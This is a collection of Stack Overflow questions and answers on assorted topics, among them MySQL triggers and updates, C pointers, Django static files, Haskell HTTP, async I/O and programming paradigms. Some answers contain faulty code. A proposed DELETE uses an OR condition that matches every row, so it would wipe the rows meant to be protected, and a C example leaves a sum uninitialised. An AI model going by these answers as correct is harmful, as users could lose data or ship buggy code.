"language": "en",
"url": "https://stackoverflow.com/questions/7592413",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
}
|
Q: Prevent deletion for specific id For ex I have a table1 with id and name field. I use bindingsource to bind data to datagridview. Now I expect that user can not delete row which table1.id = 1 or table1.id = 2.
How to do that either use C# code or trigger in MYSQL.
ps : I use save button on the bindingnavigator to update data. It's generated after I drag a dataset to winsform.
Thank in advance !
A: use a trigger - some general pointers:
*
*http://net.tutsplus.com/tutorials/databases/introduction-to-mysql-triggers/
*http://dev.mysql.com/doc/refman/5.5/en/signal.html
EDIT - as per comments:
see http://www.brokenbuild.com/blog/2006/08/15/mysql-triggers-how-do-you-abort-an-insert-update-or-delete-with-a-trigger/
A: Put a "where" Condition while deleting that
Delete from table1 where table1.id != 1 OR table1.id != 2
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592415",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
}
|
Q: How to score only one field when using multi-field query? The scenerio is like this: I have to use multi-field query, which indexed several field. When scoring, I want to only consider one field. Say the query is "name='Chris' and age='25'", the final score is calculated according to age only. How can I do this?
A: It's some time since I last played with Lucene, but I guess you can:
*
*Use BooleanQuery consisting of two queries and set individual boosts on them (see here).
*Use CustomScoreQuery (a bit verbose example here).
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592424",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
}
|
Q: Detecting DllImportAttribute and its data in an assembly I am trying to find (at runtime) the the the p/invokes along with their information: 1) Dll name 2) EntryPoint.
I tried something like this: Assembly.GetExecutingAssembly().GetCustomAttributesData(); but for some reason I dont see the type DllImportAttribute listed there although I have a p/invoke in that assembly.
I am pretty sure am missing something here. Any ideas?
Thanks!
A: var pinvokes = from type in Assembly.GetExecutingAssembly().GetTypes()
from method in type.GetMethods(BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic)
let dllImport = (DllImportAttribute)method.GetCustomAttributes(typeof(DllImportAttribute), false).FirstOrDefault()
where dllImport != null
select new
{
DllName = dllImport.Value,
EntryPoint = dllImport.EntryPoint,
};
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592431",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
}
|
Q: Normalizing MySQL table with records of another table i have 2 tables. The city tables is not normalized because the country information is in plain text. I have added the id_country to the 'city' table (that column is empty).
I need to check for matches between city>country and country>country and then update the city records that matched with the id_country from the country table. At the end i will be able to delete the 'country' column from the city table.
City table
*
*id_city (1, 2, 3...)
*city (Washington, Guayaquil, Bonn...)
*country (Germany, Ecuador, USA...)
*id_country (currently empty)
Country table
*
*id_country (1, 2, 3...)
*code (GE, EC, US...)
*country (Germany, Ecuador, USA...)
I have no idea on where to start and if it can be done with a SQL query. My original idea was to search for matches in a php loop but that seems to be a really harder implementation.
A: You can do this with a JOIN on an UPDATE statement.
UPDATE city c1 INNER JOIN country c2 ON c1.country=c2.country
SET c1.id_country=c2.id_country;
Using an INNER JOIN will make sure that updates only occur for cities that have a matching country value.
Once you've run it, you'll be able to select all those cities that still have a null id_country just in case some of them didn't match. Conversely, once you've determined that all your cities have an id_country, you can delete that column from the city table.
A:
The city tables is not normalized because the country information is
in plain text.
Nonsense. Normalization doesn't mean "replace plain text with id numbers". Find whoever taught you that and poke him in the eye with a sharp stick.
Your real problem is that "city" plus "country" isn't sufficient to identify cities, at least in the USA. I think there are at least a dozen different cities named "Washington" in the USA.
Instead of replacing the country name with an id number, you'd be far better off replacing it with the two-letter country code. The codes are human-readable; the id numbers will require an additional JOIN in every query that uses your table of cities.
A: Something like this should work:
UPDATE city set id_country = (SELECT country.id_country from country WHERE country.country = city.country)
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592432",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
}
|
Q: Can we show route on map based on less traffic? My requirement is I have to draw the route between two points on map based on the traffic condition. That is, the route with less traffic is to be drawn.
Is that possible through google maps? Please help me out. Thanks in advance.
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592433",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "2"
}
|
Q: Tabbed Google Maps V3 Info-Window with mini-map AND content I'm wondering how I can load an InfoWindow with two tabs: one displaying a minimap more zoomed in on wherever the infowindow is, like the marker.showMapBlowup(); of V2.
The other tab would be regular text content I've created.
Anyone know how to do this in V3?
Thanks!
A: I've done a bit of googling around : http://reizigers.jade1.nl/Tabbed_Infowindows.html
good luck
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592444",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
}
|
Q: How to do shake the iPhone using Cocos 2d I can detect shake in iPhone using Cocos 2D when I use:
-(void)accelerometer:(UIAccelerometer *)accelerometer didAccelerate:(UIAcceleration *)acceleration
Now, I want to do shake the iPhone using Cocos 2D. Who can help me?
A: In the iOS Simulator, click "Hardware" and in the drop down menu you will see "Shake Gesture"... click that
A: You cannot physically shake your iPhone using Cocos2d. But if you want to vibrate your phone programatically, check this:
Making the iPhone vibrate
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592446",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
}
|
Q: seg fault during printf on variable I just set So I'm seg faulting when I call printf in the following situation. I just can't see what I'm doing wrong. Any ideas? Thanks a million. I've marked the spot in the code where i get the seg fault with a comment (in the first chunk of code).
...
char* command_to_run;
if(is_command_built_in(exec_args, command_to_run)){
//run built in command
printf("command_to_run = %s\n", command_to_run); // <--- this is where the problem is
run_built_in_command(exec_args);
}
...
int is_command_built_in(char** args, char* matched_command){
char* built_in_commands[] = {"something", "quit", "hey"};
int size_of_commands_arr = 3;
int i;
//char* command_to_execute;
for(i = 0; i < size_of_commands_arr; i++){
int same = strcmp(args[0], built_in_commands[i]);
if(same == 0){
//they were the same
matched_command = built_in_commands[i];
return 1;
}
}
return 0;
}
A: You're passing the pointer matched_command by value. Therefore it isn't changed by the call to is_command_built_in. So it retains it's uninitialized value.
Try this:
char* command_to_run;
if(is_command_built_in(exec_args, &command_to_run)){ // Changed this line.
//run built in command
printf("command_to_run = %s\n", command_to_run); // <--- this is where the problem is
run_built_in_command(exec_args);
}
int is_command_built_in(char** args, char** matched_command){ // Changed this line.
char* built_in_commands[] = {"something", "quit", "hey"};
int size_of_commands_arr = 3;
int i;
//char* command_to_execute;
for(i = 0; i < size_of_commands_arr; i++){
int same = strcmp(args[0], built_in_commands[i]);
if(same == 0){
//they were the same
*matched_command = built_in_commands[i]; // And changed this line.
return 1;
}
}
return 0;
}
A: command_to_run is uninitialized. The call to is_command_built_in could as easily have crashed. Such is the nature of undefined behavior.
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592447",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
}
|
Q: What is the best practice for serving static files in Django currently I've found plenty of advice for how to tackle static files in Django 1.x. Is there a best practices way to go about doing so?
A: There are may approaches to serving static files in Django, but Django 1.3 introduced a new option to handle them. Basically, you can define specific directories at a project level or at an app level that contain static media. Then via a management command, 'collectstatic', you can copy all of the static files in your project directory to a separate directory (likely external to your project) that is served by your webserver. This solves a lot of complications of the previous approaches.
1) It allows 3rd party apps to easily include static files in a standard way. No more creating symlinks from your webserver directory to locations inside of individual python/django modules.
2) It gives you more control over where your webserver can host its static files. For example, you can define all of your static media inside of you project under version control, but then copy it all to an external location anywhere on the filesystem. This prevents having to point your webserver to a location inside of your project.
3) Is splits out static media that that will never change from static media that is uploaded by a user using something like a FileField. This is good because you likely want to keep site-level static media in version control (to be installed on your dev servers), but user-submitted content will upload to a different directory (unlike versions of django prior to 1.3).
I think this functionality used to be a 3rd party module that was merged into core.
Here are the docs:
https://docs.djangoproject.com/en/dev/howto/static-files/
Basically there are a few new settings.py variables:
STATIC_ROOT - This is a directory on your filesystem that will be served by your webserver. When you run ./manage.py collectstatic, all of the static files from your project and it's apps will be copied into the directory that you specify here.
STATIC_URL - This is the url that you will set to represent what url base your content will be based from. If you set this value to "/static/", then "/static/" will prefix all urls of static media that included. You will also use this variable in your templates. For example, in your template, you could specify something like:
<img src="{{ STATIC_URL }}logo.png">
The STATIC_ROOT settings variable specifies where static files are copied to, but you also need to provide a location of where static files are copied from. This can be done by creating a directory in your individual Django apps called "static//", similar to what you would do for templates within an app. Upon running the collectstatic command, Django will copy all of the static files from all of the "static/" directories in all of your apps to the STATIC_ROOT directory. You can also use the STATICFILES_DIRS settings variable to define project-level directories to copy static media from.
Though there are many ways to serve static media, I think this is a nice api set in place by Django that will help with better integrating 3rd party modules. The fact that this feature is now included in core could give some indication that this approach may have gained some momentum.
Hope this helps,
Joe
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592448",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "5"
}
|
Q: Is it possible to invoke OCaml from .NET? Is it possible to use OCaml with .NET code?
I would like to invoke it like C++. Or maybe there a bridge for it.
A: Have you considered CSML? You would need to write a bit in its interface description language, and then should be able to call from .NET to OCaml and vice versa.
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592451",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "2"
}
|
Q: On click effect on the image button I have created image buttons instead of normal buttons.On click on the image button I want a click effect as in the normal icon click effect(On click of menu the background of the icon will be yellow color) of android phones.Using the following code I code show an image on click of the image button .What changes I have to make further.
<item android:state_enabled="true"
android:state_pressed="true"
android:drawable="@drawable/production_order" />
android:state_enabled="false"
android:drawable="@drawable/prodution_orders_icon" />
A: Try this code
<?xml version="1.0" encoding="utf-8"?>
<selector xmlns:android="http://schemas.android.com/apk/res/android">
<item android:state_focused="true" android:drawable="@drawable/camera" />
<item android:state_pressed="false" android:drawable="@drawable/camera" />
<item android:state_pressed="true" android:drawable="@drawable/camera_active" />
</selector>
A: Instead of using directly ImageButton you can use Button with customized background
Here is the sample tutorial.
A: create xml file using the button image like this
<?xml version="1.0" encoding="utf-8"?>
<selector xmlns:android="http://schemas.android.com/apk/res/android">
<item
android:state_pressed="true"
android:drawable="@color/transparent" />
<item
android:drawable="@drawable/closebutton" />
</selector>
add the color folder in values
<?xml version="1.0" encoding="utf-8"?>
<resources>
<color name="yellow">#ffffff00</color>
</resources>
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592452",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "2"
}
|
Q: What is the difference between asynchronous I/O and asynchronous function? Node.js, is an asynchronous I/O. what does this actually mean?
Is there different between I create an async function by spawning another thread to do the process?
e.g.
void asyncfuntion(){
Thread apple = new Thread(){
public void run(){
...do stuff
}
}
apple.start()
}
If there is difference, can I do a asynchronous I/O in javascript?
A: There are several great articles regarding asynchronous code in node.js:
*
*Asynchronous Code Design with Node.js
*Understanding Event-driven Programming
*Understanding event loops and writing great code for Node.js
A: In addition to @The Elite Gentleman's answer, node doesn't spawn threads for asynchronous I/O functions. Everything under node runs in a single threaded event loop. That is why it is really important to avoid synchronized versions of some I/O functions unless absolutely necessary, like fs.readSync
You may read this excellent blog post for some insight: http://blog.mixu.net/2011/02/01/understanding-the-node-js-event-loop/
A: Asynchronous I/O
Asynchronous I/O (from Wikipedia)
Asynchronous I/O, or non-blocking I/O, is a form of input/output
processing that permits other processing to continue before the
transmission has finished.
What this means is, if a process wants to do a read() or write(), in a synchronous call, the process would have to wait until the hardware finishes the physical I/O so that it can be informed of the success/failure of the I/O operation.
On asynchronous mode, once the process issues a read/write I/O asynchronously, the system calls is returned immediately once the I/O has been passed down to the hardware or queued in the OS/VM. Thus the execution of the process isn't blocked (hence why it's called non-blocking I/O) since it doesn't need to wait for the result from the system call, it will receive the result later.
Asynchronous Function
Asynchronous functions is a function that returns the data back to the caller by a means of event handler (or callback functions). The callback function can be called at any time (depending on how long it takes the asynchronous function to complete). This is unlike the synchronous function, which will execute its instructions before returning a value.
...can I do a asynchronous I/O in java?
Yes, Java NIO provides non-blocking I/O support via Selector's. Also, Apache MINA, is a networking framework that also includes non-blocking I/O. A related SO question answers that question.
A: I was investigating the same question since this async IO pattern was very new to me. I found this talk on infoq.com which made me very happy. The guy explains very well where async IO actually resides (the OS -> the kernel) and how it is embedded in node.js as the primary idiom for doing IO. Enjoy!
http://www.infoq.com/presentations/Nodejs-Asynchronous-IO-for-Fun-and-Profit
A: node.js enables a programmer to do asynchronous IO by forcing the usage of callbacks. Now callbacks are similar to the old asynchronous functions that we have been using for a long time to handle DOM events in javascript!
e.g.
asyncIOReadFile(fileName, asynFuncReadTheActualContentsAndDoSomethingWithThem);
console.log('IDontKnowWhatIsThereInTheFileYet')
function asynFuncReadTheActualContentsAndDoSomethingWithThem(fileContents) {
console.log('Now I know The File Contents' + fileContents)
}
//Generally the output of the above program will be following
'IDontKnowWhatIsThereInTheFileYet'
//after quite a bit of time
'Now I know The File Contents somebinarystuff'
A: From https://en.wikipedia.org/wiki/Asynchronous_I/O
Synchronous blocking I/O
A simple approach to I/O would be to start the access and then wait for it to complete.
Would block the progress of a program while the communication is in progress, leaving system resources idle.
Asynchronous I/O
Alternatively, it is possible to start the communication and then perform processing that does not require that the I/O be completed.
Any task that depends on the I/O having completed ... still needs to wait for the I/O operation to complete, and thus is still blocked,
but other processing that does not have a dependency on the I/O operation can continue.
Example:
https://en.wikipedia.org/wiki/Node.js
Node.js has an event-driven architecture capable of asynchronous I/O
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592465",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "13"
}
|
Q: Java null char in string I'm trying to build a string in Java which will be at maximum 3 long and at minimum 1 long.
I'm building the string depending on the contents of a integer array and want to output a null character in the string if the contents of the array is -1. Otherwise the string will contain a character version of the integer.
for (int i=0; i < mTypeSelection.length; i++){
mMenuName[i] = (mTypeSelection[i] > -1 ? Character.forDigit(mTypeSelection[i], 10) : '\u0000');
}
This what I have so far but when I output the string for array {0,-1,-1} rather than just getting the string "0" I'm getting string "0��".
does anyone know how I can get the result I want.
Thanks, m
A: I'm going to assume you want to terminate the string at the first null character, as would happen in C. However, you can have null characters inside strings in Java, so they won't terminate the string. I think the following code will produce the behaviour you're after:
StringBuilder sb = new StringBuilder();
for (int i=0; i < mTypeSelection.length; i++){
if(mTypeSelection[i] > -1) {
sb.append(Character.forDigit(mTypeSelection[i], 10));
} else {
break;
}
}
String result = sb.toString();
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592466",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "5"
}
|
Q: How to update other components on transfering contents of primefaces picklist? I am using PrimeFaces-3.0.RC1-SNAPSHOT pickList. I want to invoke some function on transfering any item from source to target and vice versa so as to update the contents of another picklist.
I tried by adding
valueChangeListener="#{myBean.refreshList}"
In refreshList() I add the contents to a list which is set as value for the other pickList whose contents are to be updated and the autoupdate attribute of p:outputPanel which contains the second pickList is set as true.
But I have to invoke the function by some other means (using a commandButton etc) to update the second pickList. How can I update the second pickList without doing so?
A:
transfering any item from source to target and vice versa
does not submit the form to server.
valueChangeListener="#{myBean.refreshList}"
executes only when the form is submitted to the server and the value of component (in your case the 'picklist') has actually changed.
So, what you need to do is - submit it every time the transferring takes place.
You can use the onTransfer attribute of the PickList.
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592474",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
}
|
Q: What visualization libraries are available for Fortran? What visualization open sources or free software libraries are available for the Fortran programming language? Are there any similar to MatPlotLib for Python, for Fortran?
If not, most scientists require visualization not only to generate some outputs but also to investigate data trends, which is missing in Fortran although its speed in computation is well-known.
Note:
This question is intended to discover available, or planned to be available, graphical libraries for Fortran. It is clearly not going to compare different packages among different programming languages.
The flexibility, quality of outputs, interactivity, multi-dimensionality, free/open source etc are of factors to be discovered.
A: Just to make this list, a bit more complete ...
*
*PLPLOT
*GINO Suite
*Winteracter
*NCAR (outdated)
A: There is also gtk-fortran.
gtk-fortran offers also an interface to PLplot (>=5.13 in the GTK 3 branch).
A: I think there are some libraries available, which allow you to do directly some rendering of data from Fortran, however nothing like MatPlotLib, as far as I know.
Edit: Here is a short link collection:
*
*http://www.astro.caltech.edu/~tjp/pgplot/
*http://sourceforge.net/projects/gnuplotfortran/
*http://www.mps.mpg.de/dislin/
*http://www.vigyan.com/desl/FLAVOR.HTM (maybe not exactly matching here)
But the main point of the typical Fortran application is not the visualization of the data, but its generation. Typically you produce some output file, which can then be read by gnuplot or some other visualization tool. A common data container format is for example HDF5.
If there is still some need for direct visualization from within the Fortran application, you can use the ISO_C_Binding to interface with any C-Library, which should provide you with plentiful options. Still for these cases it is likely, that you will need to generate some wrapping layer around the C-API to provide an convenient usage in the Fortran application.
A: Free: Mjograph (2d plots only) and Veusz (2d and 3d plots)
Perhaps you can generate csv or simple space-delimited files with your Python/Compiled-Fortran code, and process using 2d plotting software like Mjograph and/or 2d/3d software like Veusz. Mjograph is only available via Mac and/or Java platform. Veusz is scriptable with Python, it was built using Python with Qt & Numpy, in fact the save file is just a plain Python script, and is comparable to gnuplot (at least in terms of ease of use). The tutorial with veusz clearly shows what the capabilities are. I like that it starts you off with the GUI, but you can wean off to pure scripting afterwards.
Mjograph: http://www.ochiailab.dnj.ynu.ac.jp/mjograph/
Veusz: https://veusz.github.io/
Veusz seems a little more natural compared to dumping data into Matlab or Mathematica. At least if you are used to pushing python and Fortran around with Bash scripts on linux.
If you insist on 3d data, I would take a second look at DISLIN, it can work quite well depending on what you need to visualize. The license is quite affordable for commericial-use. If using for academic use it's free.
A: Typically, a Fortran user creates massive data files then uses some 3rd party visualization software that fits the application. There are a couple of libraries that directly link to Fortran. Dislin is a fantastic one (particularly on Windows). It has a ton of documentation and once the learning curve is over you can create great GUI's as well. GnuplotFortran is an interface from Fortran to the standard gnuplot. I've yet to use it, but hear good things.
A: My choice would be something like PV-WAVE from Visual Numerics Inc. -- lately bought out by Rogue Wave Solutions.
This uses a big library of Fortran routines and employs its own special 4G language to speed up coding your own custom data displays.
This product is not cheap -- it was developed for applications like seismic data analysis, wind speed/direction data representation, simulation of things like airfoil flow, injection-molding cooling, stress analysis, etc -- but it is the best that I've seen.
Very clear documentation, examples supplied for each library sub-program, good help guide, direct line to tech support.
Leaves MatLab for dead.
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592475",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "7"
}
|
Q: Display only the individual error message using validation Engine Iam using jQuery Validation engine in my Asp.net MVC application. I would like to show individual error messages.Now it showing both the individual error message and also summary at the bottom. So it would be really helpful to know how can I display only the individual error messages rather than both .
A: In my popup script where fancybox is loaded ie
$("a.create-report").fancybox(
{
'autoDimensions':true,
'centerOnScroll':true,
'padding' :'20px'
});
just added
$('#fancybox-close').click(function () {
$(".formError").remove();
});
$('#fancybox-overlay').live("click",function () {
$(".formError").remove();
});
Then the validation summary get removed
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592483",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
}
|
Q: Haskell http response result unreadable import Network.URI
import Network.HTTP
import Network.Browser
get :: URI -> IO String
get uri = do
let req = Request uri GET [] ""
resp <- browse $ do
setAllowRedirects True -- handle HTTP redirects
request req
return $ rspBody $ snd resp
main = do
case parseURI "http://cn.bing.com/search?q=hello" of
Nothing -> putStrLn "Invalid search"
Just uri -> do
body <- get uri
writeFile "output.txt" body
Here is the diff between haskell output and curl output
A: It's probably not a good idea to use String as the intermediate data type here, as it will cause character conversions both when reading the HTTP response, and when writing to the file. This can cause corruption if these conversions are nor consistent, as it would appear they are here.
Since you just want to copy the bytes directly, it's better to use a ByteString. I've chosen to use a lazy ByteString here, so that it does not have to be loaded into memory all at once, but can be streamed lazily into the file, just like with String.
import Network.URI
import Network.HTTP
import Network.Browser
import qualified Data.ByteString.Lazy as L
get :: URI -> IO L.ByteString
get uri = do
let req = Request uri GET [] L.empty
resp <- browse $ do
setAllowRedirects True -- handle HTTP redirects
request req
return $ rspBody $ snd resp
main = do
case parseURI "http://cn.bing.com/search?q=hello" of
Nothing -> putStrLn "Invalid search"
Just uri -> do
body <- get uri
L.writeFile "output.txt" body
Fortunately, the functions in Network.Browser are overloaded so that the change to lazy bytestrings only involves changing the request body to L.empty, replacing writeFile with L.writeFile, as well as changing the type signature of the function.
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592484",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "5"
}
|
Q: How do I do different things per macro value? #define TYPE char *
if TYPE is char *
do A
if TYPE is int
do B
Is there an example how to do such things?
A: C preprocessor MACROS manipulate text, so are essentially typeless, so NO you can't do that.
A: You could associate another symbol with it:
#define TYPE char *
#define TYPE_IS_CHAR_STAR
#ifdef TYPE_IS_CHAR_STAR
...
#endif
You just need to keep them consistent manually.
Note that that's a dangerous macro; you should use a typedef instead. With the macro:
TYPE x, y;
x is a pointer, but y isn't.
A: You can get a similar effect by defining another macro along with the type, and using #ifdef etc. with that other macro. For example:
#define TYPE char *
#define TYPE_IS_PCHAR 1
...then later...
#ifdef TYPE_IS_PCHAR
do A
#endif
#ifdef TYPE_IS_INT
do B
#endif
It's not quite the same thing, but it still gets you there.
A: Not easily. You could do something like:
#define TYPE_IS_CHARPTR
//#define TYPE_IS_INT
#ifdef TYPE_IS_CHARPTR
do A
#endif
#ifdef TYPE_IS_INT
do B
#endif
But you really should be trying to minimise your use of the preprocessor for tricky things (anything other than simple variables).
With enumerated constants and inline functions, there's little need for such uses nowadays.
A: It would work if you just used basic types (since they're just strings - see Mitch's answer). But as soon as you try to use pointers, it won't work any more - the asterisk throws the preprocessor for a loop:
[holt@Michaela ~]$ gcc test.c
test.c:3:10: error: operator '*' has no right operand
But if you want do do different things based on different types, I'm going to have to recommend switching to C++ and using templates and template specialization. Reluctantly, since template syntax is incredibly ugly, but you should be able to do whatever you want.
Hope that helps!
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592486",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "2"
}
|
Q: Use separate DB for delayed_job I have a situation where I need to have delayed_job use a custom backend on a separate DB/table.
So essentially force it to use a separate schema vs. the one my app primarily uses.
Any ideas on how to do this? Thanks in advance.
A: you could make some of your models connect to a different database and use different tables.
Specify the configurations for your new db in the database.yml
delayed_jobs_db_connection:
adapter: mysql # or any other adapter
database: delayed_jobs_db
username: root
password:
host: localhost
And in the model one would establish the connection to this database using establish_connection. You could also specify all the config directly in the model, keeping it in a config is just a better way. Hope this helps.
A: I know this has been asked quite a bit time ago, but I faced the same challenge and this easy approach worked for me:
Just added in the top of the file:
require 'delayed_job'
require 'delayed_job_active_record'
class Delayed::Job
establish_connection {"adapter"=>"mysql2",
"host"=>"127.0.0.1",
"username"=>"root",
"password"=>"aaaaa",
"port"=>3306,
"database"=>"users",
"reconnect"=>true,
"pool"=>10}
end
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592493",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "2"
}
|
Q: Yii Best way to serve dummy RSS in Test I have a PHP Yii application that uses an RSS feed reader. I wanted to develop some good tests, and I wanted to attempt to read an RSS feed under my own control as part of my test suite. The idea is I request this feed from "my.localhost/testfeed/{name}" and my application is served locally at "my.localhost"
I made a controller (TestFeedController) which uses the CViewAction to serve static rss files (stored in .php files). I had to put these in "protected/views/testFeed/pages/" to make it work.
I wanted to store the files in "protected/tests/views/testFeed/pages/" to separate them better from actual application code, but was unable to get this to work (I tried to overload getViewPath()). Is there a way to get a view file in CViewAction that is NOT in "protected/views/*"?
Is there a better way to test reading a "remote" RSS file which is under my local control? I considered serving it on another virtual host, but I wanted to keep the project tests with the project.
A: You could use RenderInternal for your test files and pass it an absolute filepath (e.g., dirname(FILE).'/../tests/views/..etc..'
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592496",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
}
|
Q: How to implement cookies less form authentication when we create our own cookie I am implementing the forms authentication like (I need to create the ticket based some some conditions not from active directory or from database)
FormsAuthenticationTicket ticket = new FormsAuthenticationTicket(1,
"userName",
DateTime.Now,
DateTime.Now.AddMinutes(30), // value of time out property
false, // Value of IsPersistent property
String.Empty,
FormsAuthentication.FormsCookiePath);
string encryptedTicket = FormsAuthentication.Encrypt(ticket);
HttpCookie authCookie = new HttpCookie(
FormsAuthentication.FormsCookieName,
encryptedTicket);
authCookie.Secure = true;
Response.Cookies.Add(authCookie);
and my web.config
<system.web>
<authentication mode="Forms">
<forms loginUrl="Login.aspx"
protection="All"
timeout="30"
name="test"
path="/"
requireSSL="false"
slidingExpiration="true"
cookieless="UseDeviceProfile"
enableCrossAppRedirects="false" />
</authentication>
</system.web>
This implementation is working fine if the browser cookies are enabled . while it is not working when cookies are disabled( I tried Cookieless="useuri" but it doesnt help)
Can you please guys tell me how should i implement cookiless forms authentication in this scenario
I want to use uri for auth cookie or any other better solution?.
A: For cookieless browsers asp.net provides session id to embed in URL;
See the below question :
What will happen to asp.net membership if the client browser is not accepting cookies
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592498",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
}
|
Q: android submenu header icon I'm new to Android.
I'm learning to make menu and submenu now but stumbled upon a problem.
I want to change the submenu header icon in the xml but don't know how to.
I tried to change the header icon programatically but there's no method to get the submenu(only add submenu).
Is it possible to change the header icon in the xml?
I saw codes that add submenu programatically and change the header there.
Is it weird to make the submenu in the xml?
Thanks.
edit: why I cannot type 'Hi' at the first sentence?
A: MenuItem newSubMenu = mainMenu.add("SubMenu");
newSubMenu.method....
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592502",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
}
|
Q: Can you represent the same example using Procedural, Functional, Logic and OO programming Languages? Can anyone please provide me with an example that can help me to understand Procedural, functional, Logic and Object Oriented programming models side by side by using nearly same example-problem.
Please give me example code-snippets of the somewhat same problem using Procedural, Functional, Logic and OO programming languages.
A: Project Euler Problem number 2: http://projecteuler.net/problem=2
Haskell (functional/logic):
p2 = sum [x | x <- fibs, (x `mod` 2) == 0] where
fibs = unfoldr acc (0,1) where
acc (prev, cur) | (prev+cur) > 4000000 = Nothing
| otherwise = Just (prev+cur, (cur, prev+cur))
Python (OO):
class FibSum(object):
def __init__(self, end):
self.end = end
self.next_two = (1,0)
self.sum = 0
def __iter__(self):
return self
def next(self):
current, previous = self.next_two
self.next_two = (previous+current, current)
new = current+previous
if current >= self.end:
raise StopIteration
elif (new % 2) == 0:
self.sum += new
else:
pass
fibcount = FibSum(4000000)
[i for i in fibcount]
print fibcount.sum
C (procedural/imperative):
#include <stdio.h>
int main(void)
{
long int sum, newnum, previous = 0;
long int current = 1;
while(current <= 4000000)
{
newnum = previous+current;
if ((newnum % 2) == 0)
{
sum = sum + newnum;
}
previous = current;
current = newnum;
}
printf("%d\n", sum);
}
And here is a very inefficient version written in MIT Scheme
(define (unfold func seed)
(let* ((result (func seed)))
(cond ((null? result) ())
(else (cons (car result) (unfold func (second result)))))))
(define (test x)
(cond ((> (sum x) 4000000) ())
(else (list (sum x) (list (second x) (sum x))))))
(define (sum xs)
(cond ((null? (cdr xs)) (first xs))
(else (+ (car xs) (sum (cdr xs))))))
(sum (filter (lambda (x) (eq? (modulo x 2) 0)) (unfold test (list 0 1))))
Prolog: Take from this here, posted by 13tazer31
fibonacci(_,Current,End,0) :-
Current > End.
fibonacci(Previous, Current, End, Total) :-
divisible(Current, 2),
Next is Current + Previous,
fibonacci(Current, Next, End, Sum),
Total is Sum + Current, !.
fibonacci(Previous, Current, End, Total) :-
Next is Current + Previous,
fibonacci(Current, Next, End, Total).
divisible(Number, 0) :-
write(‘Error: division by 0′).
divisible(Number, Divisor) :-
Number mod Divisor =:= 0.
A: Let's try simpler example - just calculating n-th Fibonacci number.
First, procedural (in Pascal):
program Fibonacci;
function fib(n: Integer): Integer;
var a: Integer = 1;
b: Integer = 1;
f: Integer;
i: Integer;
begin
if (n = 1) or (n = 2) then
fib := 1
else
begin
for i := 3 to n do
begin
f := a + b;
b := a;
a := f;
end;
fib := f;
end;
end;
begin
WriteLn(fib(6));
end.
This example shows features of procedural languages:
*
*There are some subroutines (function in this case)
*Variables are assigned value probably multiple times ( := operator)
*There are cycles (for operator in this case)
*Language is imperative, i.e. we are telling computer what to do in what order
Second, object oriented (in Python):
class Fibonacci:
def __init__(self):
self.cache = {}
def fib(self, n):
if self.cache.has_key(n):
return self.cache[n]
if n == 1 or n == 2:
return 1
else:
a = 1
b = 1
for i in range(2, n):
f = a + b;
b = a;
a = f;
self.cache[n] = f;
return f;
fibonaccyCounter = Fibonacci()
print fibonaccyCounter.fib(6)
Actually the problem is not worth creating a class, so I added caching of already calculated results.
This example shows:
*
*class and its instantiation (creating instance)
*class has own section of memory, own state (self and its members)
*Language is imperative, i.e. we are telling computer what to do in what order
Not shown but we can e.g. descend this class from abstract class returning n-th member of some sequence. By subslassing we get class defining Fibonacci sequence, sequence 1,2,3..., sequence 1,4,9,16,... etc.
Third, in functional style (Haskell):
import Text.Printf
fib :: Int -> Int
fib 0 = 0
fib 1 = 1
fib n = fib (n-1) + fib (n-2)
main = printf "%d\n" (fib 6)
Following features of a functional programming paradigm are demonstrated:
*
*there is no state, no variables - just functions defined
*there are no cycles - only recursion
